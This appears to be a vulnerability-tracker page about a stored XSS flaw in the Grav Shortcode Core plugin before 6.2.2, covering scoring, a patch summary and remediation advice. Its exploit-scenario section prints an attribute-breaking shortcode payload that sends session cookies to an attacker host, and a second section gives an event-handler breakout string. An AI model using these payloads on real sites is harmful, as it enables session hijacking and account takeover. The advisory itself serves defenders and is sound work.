Skip to main content

Grav Shortcode Core CVE-2026-64851

| EUVDEUVD-2026-62548 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-08-19 GitHub_M
8.5
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain admin.pages account credentials
  2. Delivery
    Craft shortcode with attribute-breaking parameter
  3. Exploit
    Save poisoned Grav page (bypasses Security::detectXss)
  4. Execution
    Victim administrator or visitor loads page
  5. Persist
    Injected event handler executes in victim browser
  6. Impact
    Exfiltrate session cookie or perform authenticated actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an account with the admin.pages permission in Grav - this is not a default anonymous or subscriber-level role and must be explicitly granted by a Grav administrator. The attacker must be able to create or edit a Grav page using the admin interface. No specific non-default plugin configuration is required beyond having the Shortcode Core plugin installed and active, which is its designed purpose. Exploitation is further conditioned on a victim (visitor or administrator) subsequently loading the poisoned page in a browser (UI:P). What limits exploitation: the admin.pages permission gate prevents unauthenticated or low-trust users from planting payloads; stored XSS requires a separate victim action (page view) rather than delivering impact immediately at write time; and the absence of a literal less-than in the payload means the content appears benign to the platform's XSS scanner, so there is no automated post-save sanitization to remove an existing payload once stored.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N) scores 8.5, reflecting low-complexity network exploitation requiring low privileges and passive victim interaction. The PR:L metric is significant: exploitation is gated on admin.pages permission, a Grav administrative role not available to anonymous or typical authenticated users, meaningfully reducing the realistic threat surface compared to a PR:N flaw. However, the stored nature of this XSS amplifies impact: a single write by a malicious or compromised editor can poison a page for all subsequent visitors including administrators, enabling session hijacking and full admin account takeover. No EPSS score or KEV listing is present in the provided data, and no public POC has been identified, suggesting limited opportunistic exploitation at time of analysis. The absence of a literal-angle-bracket bypass is a design-level gap rather than a trivial oversight, as it evades the platform-level XSS guard entirely - defenders should not rely on Grav's built-in filter for shortcode parameters.

Exploit ScenarioDerived

A malicious content editor with admin.pages access creates or edits a Grav page and inserts a shortcode such as [div id='x" onmouseover="fetch(attacker.com/?c='+document.cookie+')" x=']. The page is saved without triggering Grav's XSS filter because the payload contains no literal less-than character. When any site visitor or administrator loads the affected page in their browser, the injected event handler fires, exfiltrating their session cookie to the attacker and enabling full session hijack. No public exploit code has been identified, but the attack is straightforward to construct from the patch diff alone.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 19, 2026

Stored XSS in Grav Shortcode Core Plugin (prior to 6.2.2) allows an authenticated user with admin.pages permission to inject arbitrary JavaScript into page content by supplying a crafted shortcode attribute value that breaks out of an HTML attribute context. The plugin's shortcode syntax bypasses Grav's save-time XSS filter because shortcode notation never contains a literal less-than character, and multiple attribute handlers (ColorShortcode, DivShortcode, ColumnsShortcode, and others) then concatenate the raw parameter directly into rendered HTML. The stored payload executes in the browser of any visitor or administrator who subsequently views the affected page. No public exploit or CISA KEV listing is identified at time of analysis.

RemediationAI

Upgrade grav-plugin-shortcode-core to version 6.2.2 or later using the Grav package manager or by downloading the release directly from https://github.com/getgrav/grav-plugin-shortcode-core/releases/tag/6.2.2. The patch applies self::escAttr() to all shortcode parameter values before HTML attribute concatenation, addressing the bypass across ColorShortcode, ColumnsShortcode, DetailsShortcode, DivShortcode, FigureShortcode, FontAwesomeShortcode, HShortcode, MarkShortcode, and SafeEmailShortcode. If immediate patching is not possible, revoke admin.pages permission from all non-essential or untrusted accounts, as this is the sole access requirement for exploitation; note that this may disrupt legitimate content editing workflows. Additionally, auditing existing page content for attribute-breaking patterns (e.g., unescaped quote characters within shortcode parameters) is advisable post-patch to identify any pre-existing stored payloads. Review the full advisory at https://github.com/getgrav/grav/security/advisories/GHSA-q5fw-vpqc-fgph for further guidance.

Affected VersionsENISA

grav-plugin-shortcode-core < 6.2.2

Affected Packages

euvd grav_plugin_shortcode_core fix: 6.2.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Grav Shortcode Core (CPE: cpe:2.3:a:getgrav:grav-plugin-shortcode-core:*:*:*:*:*:*:*:*) is a PHP plugin for the Grav flat-file CMS that implements a WordPress/BBCode-style shortcode syntax. CWE-79 (Improper Neutralization of Input During Web Page Generation) is the root cause: Grav's save-time XSS guard, Security::detectXss(), only flags input containing a literal less-than (<) character. Because shortcode notation uses square brackets instead of angle brackets, malicious attribute values such as x" onmouseover=alert(1) pass the filter unchallenged. At render time, shortcode handlers in ColorShortcode.php, ColumnsShortcode.php, DetailsShortcode.php, DivShortcode.php, FigureShortcode.php, FontAwesomeShortcode.php, HShortcode.php, MarkShortcode.php, and SafeEmailShortcode.php concatenate the raw parameter value directly into HTML attribute strings (e.g., 'style="color:' . $color . '"'), permitting attribute breakout and event-handler injection. The fix introduces a static escAttr() method on the base Shortcode class and applies it uniformly across all affected handlers before HTML concatenation.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.5 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
vuln.today AI 8.7 HIGH

Network delivery, low complexity; admin.pages permission required (PR:L); stored XSS changes scope to victim browsers (S:C) enabling full session hijack (C:H/I:H).

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Aug 19, 2026 - 17:02 EUVD
CVE Published
Aug 19, 2026 - 15:56 cve.org
HIGH 8.5

DescriptionCVE.org

Grav Shortcode Core Plugin allows for the development shortcode plugins that utilize the common format utilized by WordPress and BBCode. Prior to 6.2.2, Grav Shortcode Core passes shortcode syntax through Security::detectXss() because it contains no literal less-than character, then ColorShortcode.php and related attribute handlers concatenate an attacker-controlled parameter into HTML without encoding. An account with admin.pages permission can close the generated attribute and add an event handler, creating stored cross-site scripting that executes for visitors or administrators who view the page. This issue is fixed in version 6.2.2.

Executive ViewAI

Why It Matters

Grav Shortcode Core Plugin versions prior to 6.2.2 contain a stored XSS vulnerability permitting authenticated administrative users to inject arbitrary JavaScript into page content. The injected payload executes for all site visitors and administrators, creating exposure to credential theft, session hijacking, and malware delivery.

Business Impact: High
Compensating Controls

Disable Grav Shortcode Core Plugin until vendor patch is released; restrict admin.pages permission to minimal trusted administrators; audit all existing page content for malicious scripts or suspicious shortcode attributes; implement and enforce Content Security Policy (CSP) headers to mitigate XSS impact; enable comprehensive logging and monitoring of administrative actions.

Threat Intelligence Overview

EPSS Score
0.3%
Top 73% exploitable
Prevalence
Low
Grav is a niche flat-file CMS with a small enterprise footprint
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

42
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy